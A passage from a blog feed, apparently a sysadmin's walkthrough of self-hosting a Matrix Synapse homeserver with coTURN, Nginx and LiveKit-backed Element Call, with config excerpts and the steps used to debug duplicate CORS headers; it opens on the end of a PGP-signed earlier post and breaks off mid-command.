jSrPHA//WlMEZx1k/aGx3zau&#43;wRrAOq4XlrvC7keBvqMs0PJGhJmT8jnOMh0&#43;26w
AGav2jBuChLYsDx&#43;O8l18uxcsu9fdrz8r4N4sDOnsndSsg15rTT28P3MNvvUL8ns
iOc9uEUkxF59rT3OXRI56hH3VX6vzxakdAnW3Afhki2Bl54jur2&#43;6RVtuthGUEV&#43;
QZ/36QVXLrOAas1bqq3f38m4M2no3ZqVvpj&#43;Alur2Ji/gcGZlSArBnIoJQoK5L&#43;r
UZLJsQ&#43;LrqCJp4i&#43;GkkX05si2srSTjawBu&#43;ssHf&#43;uwPg0Q6AMTbubrGiHrMMtMbM
4PCFtS8vD/ZBVkVpSBybyXdMxQU&#43;y9AI1LZ//X4cQWdqgRpinOVENuZ2FeVI6qa/
sBGHLThq9nZEXmMT2oQa1wi&#43;CaY17z9fYj20F5moOp2Q6pxBGPyHZRV3WAr5xURU
5B9SwVtNqIzm7eoAbwckU3h&#43;TfIJ4vGulSqPqHvZ/XAdbzCVXaSXBN951oA0No1y
MyvsIskzKVPvSqndYjxLGiopvOpITgxN5q6a7ubBmxYCrS&#43;SF74jPkDjtc4EFuKB
QrMTBm/&#43;Xl/VEESYv5Mx7hwYv1dnmJUFrx62FUYmAMaFP2UcMIlJJ5zQCwsDdREk
aG3wFuWH4d9UFohK&#43;MJIHqYk1&#43;TbZJm3bnds8pOqniIZ7M5PcEg=
=uf5y
-----END PGP SIGNATURE-----
</pre>
  </details><p><em>Verify locally:</em></p>
  <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">curl -fSLO https://blog.alipour.eu/sources/posts/hedge_doc.md
curl -fSLO https://blog.alipour.eu/sources/posts/hedge_doc.md.asc
gpg --verify hedge_doc.md.asc hedge_doc.md
  </pre>
</div>


]]></content:encoded></item><item><title>Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way)</title><link>https://blog.alipour.eu/posts/matrix_setup/</link><pubDate>Tue, 26 Aug 2025 00:00:00 +0000</pubDate><guid>https://blog.alipour.eu/posts/matrix_setup/</guid><description>How I set up a Matrix homeserver (Synapse) with TURN and Element Call using LiveKit, plus the exact debugging steps that took it from &amp;#39;waiting for media&amp;#39; to solid calls.</description><content:encoded><![CDATA[<blockquote>
<p>TL;DR: The call kept saying <strong>“waiting for media”</strong> because the browser never opened a WebSocket to LiveKit. The root cause was <strong>duplicate <code>Access-Control-Allow-Origin</code> headers</strong> on <code>/sfu/get</code> (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP <strong>101</strong> in logs) solved it.</p></blockquote>
<h2 id="what-im-building">What I&rsquo;m building</h2>
<ul>
<li>A <strong>Matrix homeserver</strong> (Synapse) at <code>matrix.example.com</code> (replace with your domain).</li>
<li><strong>TURN/STUN</strong> (coTURN) for NAT traversal.</li>
<li><strong>Element Call</strong> backed by <strong>LiveKit</strong>, fronted by <code>rtc.example.com</code>.</li>
<li><strong>Nginx (host)</strong> as the single reverse proxy for everything.</li>
<li><strong>Cloudflare</strong> DNS (with <code>rtc.*</code> set to <strong>DNS-only</strong>, no orange cloud).</li>
<li><strong>UFW</strong> firewall opened for Matrix federation, TURN, and LiveKit media ports.</li>
</ul>
<blockquote>
<p>I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used <strong>host</strong> Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448.</p></blockquote>
<hr>
<h2 id="prereqs">Prereqs</h2>
<ul>
<li>DNS A/AAAA:
<ul>
<li><code>matrix.example.com</code> → your server (v4/v6)</li>
<li><code>rtc.example.com</code> → your server (v4/v6)</li>
</ul>
</li>
<li>Certificates:
<ul>
<li><code>matrix.example.com</code> and <code>rtc.example.com</code> via Let’s Encrypt on the host</li>
</ul>
</li>
<li>Cloudflare: <strong>DNS-only (grey cloud)</strong> for <code>rtc.example.com</code> so WebSockets &amp; UDP work without interference.</li>
<li>UFW / firewall open:
<ul>
<li>80/tcp, 443/tcp</li>
<li>8448/tcp (Matrix federation)</li>
<li>3478/tcp, 3478/udp and <strong>5349/tcp</strong> (TURN/TLS)</li>
<li><strong>LiveKit</strong>: 7881/tcp and <strong>50100–50200/udp</strong> (or your chosen range)</li>
</ul>
</li>
<li>Docker + docker compose installed.</li>
</ul>
<hr>
<h2 id="synapse--postgresql">Synapse + PostgreSQL</h2>
<h3 id="1-the-postgresql-collation-gotcha">1) The PostgreSQL collation gotcha</h3>
<p>Synapse prefers the database collation <strong><code>C</code></strong>. If your Postgres cluster was initialized with <code>en_US.utf8</code>, Synapse will error like:</p>
<pre tabindex="0"><code>Database has incorrect collation of &#39;en_US.utf8&#39;. Should be &#39;C&#39;
</code></pre><p><strong>Two ways to resolve:</strong></p>
<ul>
<li><strong>Preferred (clean)</strong>: Re-initialize the Postgres <strong>cluster</strong> with <code>C</code> and <code>UTF-8</code>:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#75715e"># docker-compose.yml (excerpt for Postgres)</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">services</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">db</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">image</span>: <span style="color:#ae81ff">postgres:16</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">environment</span>:
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">POSTGRES_DB</span>: <span style="color:#ae81ff">synapse</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">POSTGRES_USER</span>: <span style="color:#ae81ff">synapse</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">POSTGRES_PASSWORD</span>: <span style="color:#ae81ff">&lt;strong-password&gt;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">POSTGRES_INITDB_ARGS</span>: <span style="color:#e6db74">&#34;--locale=C --encoding=UTF8 --lc-collate=C --lc-ctype=C&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">volumes</span>:
</span></span><span style="display:flex;"><span>      - <span style="color:#ae81ff">./pgdata:/var/lib/postgresql/data</span>
</span></span></code></pre></div><blockquote>
<p>Requires wiping the volume and recreating the DB.</p></blockquote>
<ul>
<li><strong>Pragmatic (works quickly)</strong>: In Synapse’s DB config, set <code>allow_unsafe_locale: true</code>. This bypasses the check. It’s fine for hobby use; for production, prefer the clean <code>C</code> cluster.</li>
</ul>
<h3 id="2-start-synapse-and-generate-config">2) Start Synapse and generate config</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker compose up -d db synapse
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Logs</span>
</span></span><span style="display:flex;"><span>docker compose logs --tail<span style="color:#f92672">=</span><span style="color:#ae81ff">200</span> synapse
</span></span></code></pre></div><p>Ensure Synapse prints your <strong>server_name</strong> and <strong>public base URL</strong> and stays up.</p>
<h3 id="3-create-an-admin-user">3) Create an admin user</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># Exec into the running Synapse container:</span>
</span></span><span style="display:flex;"><span>docker compose exec synapse register_new_matrix_user <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>  -c /data/homeserver.yaml -u &lt;username&gt; -p &lt;password&gt; <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>  -a -k
</span></span></code></pre></div><blockquote>
<p>If you see “Unknown execution mode”, you probably ran the binary with the wrong entrypoint. Use <code>docker compose exec synapse …</code> against the running container.</p></blockquote>
<hr>
<h2 id="turn-coturn">TURN (coTURN)</h2>
<h3 id="1-avoid-bad-inline-comments">1) Avoid bad inline comments</h3>
<p>If you see errors like:</p>
<pre tabindex="0"><code>ERROR: Unknown boolean value: # log to journald/syslog. You can use on/off, yes/no, 1/0, true/false.
</code></pre><p>…it means a <code>#</code> comment is on the <strong>same line</strong> as a boolean directive. Move comments to their own lines.</p>
<h3 id="2-minimal-turnserverconf">2) Minimal <code>turnserver.conf</code></h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-ini" data-lang="ini"><span style="display:flex;"><span><span style="color:#a6e22e">listening-port</span><span style="color:#f92672">=</span><span style="color:#e6db74">3478</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">tls-listening-port</span><span style="color:#f92672">=</span><span style="color:#e6db74">5349</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fingerprint</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">use-auth-secret</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">static-auth-secret</span><span style="color:#f92672">=</span><span style="color:#e6db74">&lt;shared-secret&gt;   # also set in Synapse</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">realm</span><span style="color:#f92672">=</span><span style="color:#e6db74">example.com                    # used in creds generation</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">total-quota</span><span style="color:#f92672">=</span><span style="color:#e6db74">0</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">bps-capacity</span><span style="color:#f92672">=</span><span style="color:#e6db74">0</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">cli-password</span><span style="color:#f92672">=</span><span style="color:#e6db74">&lt;admin-pass&gt;</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">no-cli</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">cert</span><span style="color:#f92672">=</span><span style="color:#e6db74">/etc/letsencrypt/live/turn.example.com/fullchain.pem</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">pkey</span><span style="color:#f92672">=</span><span style="color:#e6db74">/etc/letsencrypt/live/turn.example.com/privkey.pem</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># If behind NAT:</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># external-ip=&lt;public-ip&gt;/&lt;internal-ip&gt;</span>
</span></span></code></pre></div><h3 id="3-wire-turn-into-synapse">3) Wire TURN into Synapse</h3>
<p>In <code>homeserver.yaml</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">turn_uris</span>:
</span></span><span style="display:flex;"><span>  - <span style="color:#e6db74">&#34;turn:turn.example.com?transport=udp&#34;</span>
</span></span><span style="display:flex;"><span>  - <span style="color:#e6db74">&#34;turn:turn.example.com?transport=tcp&#34;</span>
</span></span><span style="display:flex;"><span>  - <span style="color:#e6db74">&#34;turns:turn.example.com:5349?transport=tcp&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">turn_shared_secret</span>: <span style="color:#e6db74">&#34;&lt;shared-secret&gt;&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">turn_user_lifetime</span>: <span style="color:#e6db74">&#34;1d&#34;</span>
</span></span></code></pre></div><p>Verify the homeserver issues TURN creds:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>TOKEN<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;&lt;your matrix access token&gt;&#39;</span>
</span></span><span style="display:flex;"><span>curl -s -H <span style="color:#e6db74">&#34;Authorization: Bearer </span>$TOKEN<span style="color:#e6db74">&#34;</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
</span></span></code></pre></div><p>You should see <code>uris</code>, a time-limited <code>username</code> and <code>password</code>.</p>
<hr>
<h2 id="nginx-host-for-synapse-and-federation">Nginx (host) for Synapse and federation</h2>
<p>Create <code>/etc/nginx/conf.d/matrix.conf</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-nginx" data-lang="nginx"><span style="display:flex;"><span><span style="color:#75715e"># Client traffic on 443
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">server</span> {
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">listen</span> <span style="color:#ae81ff">443</span> <span style="color:#e6db74">ssl</span>;  <span style="color:#f92672">listen</span> <span style="color:#e6db74">[::]:443</span> <span style="color:#e6db74">ssl</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">server_name</span> <span style="color:#e6db74">matrix.example.com</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">ssl_certificate</span>     <span style="color:#e6db74">/etc/letsencrypt/live/matrix.example.com/fullchain.pem</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">ssl_certificate_key</span> <span style="color:#e6db74">/etc/letsencrypt/live/matrix.example.com/privkey.pem</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#75715e"># Proxy client &amp; admin APIs to Synapse (container) on 8008
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  <span style="color:#f92672">location</span> ~ <span style="color:#e6db74">^(/_matrix|/_synapse/client)</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">proxy_pass</span> <span style="color:#e6db74">http://127.0.0.1:8008</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">X-Forwarded-For</span> $remote_addr;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">X-Forwarded-Proto</span> $scheme;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">Host</span> $host;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">client_max_body_size</span> <span style="color:#e6db74">50M</span>;
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#75715e"># Advertise homeserver base + RTC focus (MSC4143) via .well-known
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  <span style="color:#f92672">location</span> = <span style="color:#e6db74">/.well-known/matrix/client</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">default_type</span> <span style="color:#e6db74">application/json</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">add_header</span> <span style="color:#e6db74">Access-Control-Allow-Origin</span> <span style="color:#e6db74">&#34;*&#34;</span> <span style="color:#e6db74">always</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">return</span> <span style="color:#ae81ff">200</span> <span style="color:#e6db74">&#39;</span>{<span style="color:#f92672">&#34;m.homeserver&#34;:{&#34;base_url&#34;:&#34;https://matrix.example.com&#34;},&#34;org.matrix.msc4143.rtc_foci&#34;:[{&#34;type&#34;:&#34;livekit&#34;,&#34;livekit_service_url&#34;:&#34;https://rtc.example.com&#34;}]}&#39;</span>;
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Federation on 8448
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#f92672">server</span> {
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">listen</span> <span style="color:#ae81ff">8448</span> <span style="color:#e6db74">ssl</span> <span style="color:#e6db74">http2</span>;  <span style="color:#f92672">listen</span> <span style="color:#e6db74">[::]:8448</span> <span style="color:#e6db74">ssl</span> <span style="color:#e6db74">http2</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">server_name</span> <span style="color:#e6db74">matrix.example.com</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">ssl_certificate</span>     <span style="color:#e6db74">/etc/letsencrypt/live/matrix.example.com/fullchain.pem</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">ssl_certificate_key</span> <span style="color:#e6db74">/etc/letsencrypt/live/matrix.example.com/privkey.pem</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">location</span> <span style="color:#e6db74">/</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">proxy_pass</span> <span style="color:#e6db74">http://127.0.0.1:8008</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">X-Forwarded-For</span> $remote_addr;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">X-Forwarded-Proto</span> $scheme;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">Host</span> $host;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">client_max_body_size</span> <span style="color:#e6db74">50M</span>;
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Reload and sanity check:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo nginx -t <span style="color:#f92672">&amp;&amp;</span> sudo systemctl reload nginx
</span></span><span style="display:flex;"><span>curl -s https://matrix.example.com/.well-known/matrix/client | jq
</span></span></code></pre></div><p>Also check Synapse supports RTC signaling (MSC4140) so clients actually use it:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>curl -s https://matrix.example.com/_matrix/client/versions | jq <span style="color:#e6db74">&#39;.unstable_features.&#34;org.matrix.msc4140&#34;&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># expect: true</span>
</span></span></code></pre></div><hr>
<h2 id="element-call--livekit">Element Call + LiveKit</h2>
<p>I’ll run <strong>LiveKit</strong> and the small <strong>JWT helper</strong> (Element’s <code>elementcall_jwt</code>) in Docker. LiveKit handles media; the JWT helper mints access tokens for WebSocket connects.</p>
<h3 id="1-livekit-config-etclivekityaml-inside-container">1) LiveKit config (<code>/etc/livekit.yaml</code> inside container)</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">port</span>: <span style="color:#ae81ff">7880</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">bind_addresses</span>: [<span style="color:#e6db74">&#34;0.0.0.0&#34;</span>]
</span></span><span style="display:flex;"><span><span style="color:#f92672">rtc</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">tcp_port</span>: <span style="color:#ae81ff">7881</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">port_range_start</span>: <span style="color:#ae81ff">50100</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">port_range_end</span>: <span style="color:#ae81ff">50200</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">use_external_ip</span>: <span style="color:#66d9ef">true</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">logging</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">level</span>: <span style="color:#ae81ff">info</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">turn</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">enabled</span>: <span style="color:#66d9ef">false</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">keys</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">lk_prod_1</span>: <span style="color:#e6db74">&#34;REPLACE_WITH_A_64_CHAR_RANDOM_SECRET___________________________________&#34;</span>
</span></span></code></pre></div><blockquote>
<p><strong>Important:</strong> the secret must be <strong>&gt;= 32 chars</strong>. The default <code>devkey</code> will trigger <code>secret is too short</code> warnings and won’t work with the JWT helper.</p></blockquote>
<h3 id="2-elementcall_jwt-env">2) elementcall_jwt env</h3>
<p>Run it with:</p>
<ul>
<li><code>LIVEKIT_URL=wss://rtc.example.com</code>   <em>(root WS URL, <strong>no</strong> <code>/livekit/sfu</code> path)</em></li>
<li><code>LIVEKIT_KEY=lk_prod_1</code></li>
<li><code>LIVEKIT_SECRET=&lt;the long secret above&gt;</code></li>
<li><code>LIVEKIT_JWT_PORT=8080</code> (internal HTTP port the proxy will hit)</li>
<li>Optionally: <code>LIVEKIT_FULL_ACCESS_HOMESERVERS=*</code> during setup</li>
</ul>
<p>Check logs on start; it prints the LIVEKIT_URL it will advertise.</p>
<h3 id="3-nginx-host-for-rtcexamplecom">3) Nginx (host) for <code>rtc.example.com</code></h3>
<p>Create <code>/etc/nginx/conf.d/rtc.conf</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-nginx" data-lang="nginx"><span style="display:flex;"><span><span style="color:#66d9ef">server</span> {
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">listen</span> <span style="color:#ae81ff">443</span> <span style="color:#e6db74">ssl</span>;  <span style="color:#f92672">listen</span> <span style="color:#e6db74">[::]:443</span> <span style="color:#e6db74">ssl</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">server_name</span> <span style="color:#e6db74">rtc.example.com</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">ssl_certificate</span>     <span style="color:#e6db74">/etc/letsencrypt/live/rtc.example.com/fullchain.pem</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">ssl_certificate_key</span> <span style="color:#e6db74">/etc/letsencrypt/live/rtc.example.com/privkey.pem</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">access_log</span> <span style="color:#e6db74">/var/log/nginx/rtc.access.log</span> <span style="color:#e6db74">combined</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#75715e"># 3a) JWT endpoint with clean CORS (avoid duplicate ACAO)
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  <span style="color:#f92672">location</span> = <span style="color:#e6db74">/sfu/get</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">proxy_hide_header</span> <span style="color:#e6db74">Access-Control-Allow-Origin</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">add_header</span> <span style="color:#e6db74">Access-Control-Allow-Origin</span> $http_origin <span style="color:#e6db74">always</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">add_header</span> <span style="color:#e6db74">Vary</span> <span style="color:#e6db74">&#34;Origin&#34;</span> <span style="color:#e6db74">always</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">add_header</span> <span style="color:#e6db74">Access-Control-Allow-Methods</span> <span style="color:#e6db74">&#34;POST,</span> <span style="color:#e6db74">OPTIONS&#34;</span> <span style="color:#e6db74">always</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">add_header</span> <span style="color:#e6db74">Access-Control-Allow-Headers</span> <span style="color:#e6db74">&#34;Accept,</span> <span style="color:#e6db74">Content-Type,</span> <span style="color:#e6db74">Content-Length,</span> <span style="color:#e6db74">Accept-Encoding,</span> <span style="color:#e6db74">X-CSRF-Token,</span> <span style="color:#e6db74">Authorization&#34;</span> <span style="color:#e6db74">always</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">if</span> <span style="color:#e6db74">(</span>$request_method = <span style="color:#e6db74">OPTIONS)</span> { <span style="color:#f92672">return</span> <span style="color:#ae81ff">204</span>; }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">Host</span> $host;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">X-Forwarded-Proto</span> $scheme;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">proxy_pass</span> <span style="color:#e6db74">http://127.0.0.1:8070/sfu/get</span>;  <span style="color:#75715e"># elementcall_jwt
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#75715e"># 3b) LiveKit WS &amp; HTTP (catch-all)
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  <span style="color:#f92672">location</span> <span style="color:#e6db74">/</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">proxy_http_version</span> <span style="color:#ae81ff">1</span><span style="color:#e6db74">.1</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">Upgrade</span> $http_upgrade;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">Connection</span> <span style="color:#e6db74">&#34;upgrade&#34;</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">Sec-WebSocket-Protocol</span> $http_sec_websocket_protocol;  <span style="color:#75715e"># &#34;livekit&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">Origin</span> $http_origin;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">Host</span> $host;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">X-Forwarded-Proto</span> $scheme;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">proxy_buffering</span> <span style="color:#66d9ef">off</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">proxy_read_timeout</span> <span style="color:#e6db74">3600s</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">proxy_pass</span> <span style="color:#e6db74">http://127.0.0.1:7880</span>;         <span style="color:#75715e"># livekit
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Reload and basic checks:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo nginx -t <span style="color:#f92672">&amp;&amp;</span> sudo systemctl reload nginx
</span></span><span style="display:flex;"><span><span style="color:#75715e"># JWT preflight (should return a single ACAO header)</span>
</span></span><span style="display:flex;"><span>curl -si -X OPTIONS https://rtc.example.com/sfu/get <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>  -H <span style="color:#e6db74">&#39;Origin: https://app.element.io&#39;</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>  -H <span style="color:#e6db74">&#39;Access-Control-Request-Method: POST&#39;</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>  -H <span style="color:#e6db74">&#39;Access-Control-Request-Headers: authorization, content-type&#39;</span> | sed -n <span style="color:#e6db74">&#39;1,30p&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Expected: one Access-Control-Allow-Origin and 200/204</span>
</span></span></code></pre></div><blockquote>
<p><strong>Why I did this:</strong> I initially had <strong>two</strong> <code>Access-Control-Allow-Origin</code> headers (one added by the upstream, one by Nginx). Browsers reject that with “Access-Control-Allow-Origin cannot contain more than one origin”, so the JWT response never reached the client. Fixing CORS fixed everything.</p></blockquote>
<hr>
<h2 id="the-waiting-for-media-debugging-story-how-i-found-it">The “waiting for media” debugging story (how I found it)</h2>
<p>Symptom: Element Call created rooms, but calls stayed on <strong>“waiting for media.”</strong></p>
<p>What worked:</p>
<ul>
<li><code>elementcall_jwt</code> could <strong>CreateRoom</strong> in LiveKit (seen in logs).</li>
<li>TURN creds endpoint returned time-limited credentials.</li>
</ul>
<p>What didn’t appear:</p>
<ul>
<li>No <strong>HTTP 101</strong> lines in <code>rtc.access.log</code> → the <strong>browser never established a WebSocket</strong> to LiveKit.</li>
</ul>
<h3 id="step-1-prove-the-ws-vhost-works-even-without-auth">Step 1: prove the WS vhost works (even without auth)</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>curl -v --http1.1 <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>  -H <span style="color:#e6db74">&#39;Connection: Upgrade&#39;</span> -H <span style="color:#e6db74">&#39;Upgrade: websocket&#39;</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>  -H <span style="color:#e6db74">&#39;Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==&#39;</span> <span style="color:#ae81ff">\
